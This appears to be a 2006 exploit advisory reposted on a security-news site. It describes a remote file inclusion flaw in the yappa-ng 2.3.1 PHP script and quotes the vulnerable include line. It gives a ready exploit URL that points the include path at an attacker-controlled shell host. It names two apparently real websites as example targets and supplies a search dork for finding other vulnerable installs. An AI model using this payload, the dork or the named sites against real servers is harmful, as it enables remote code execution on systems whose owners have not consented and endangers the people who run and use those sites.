Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

  SimpleBlog <= 2.3 (id) Remote SQL Injection Vulnerability

  The Amazing Little Poll Admin Pwd

  [SA21653] PHP-Nuke MyHeadlines Module "myh_op" Cross-Site Scripting

  [SA21742] microforum "members.
dat" Exposure of User Credentials

From:SHiKaA-_(at)_hotmail.com <SHiKaA-_(at)_hotmail.com>
Date:04.09.2006
Subject:yappa-ng <= v2.3.1 (admin_modules) Remote File Inclusion Exploit

#================================================================================
==============
#yappa-ng <= v2.3.1 (admin_modules) Remote File Inclusion Exploit
#================================================================================
===============
#                                                                         
#Critical Level : Dangerous                                               
#                                                                         
#Venedor site : http://www.zirkon.at/zirkon/scripts/yappa-ng         
#                                                                         
#Version : v2.3.1 & v2.3.0                                               
#                                                           
#================================================================================
================
#Bug in : admin_modules/admin_module_deldir.inc.php
#
#Vlu Code :
#--------------------------------
#     include_once($config['path_src_include'] . "common.inc.php");
#   
#
#================================================================================
================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/admin_modules/admin_module_deldir.inc.php?config[path_src_include]=http://SHELLURL.COM?
#
#Example :
#       http://gl-bild.de
#       http://www.team.elsat.net.pl/pliki/yappa2/
#    
#Dork : "Powered by yappa-ng 2.3.1" & "Powered by yappa-ng 2.3.1"
#================================================================================
================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf) | cyper-worrior
=================================================================================
=================

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru
test server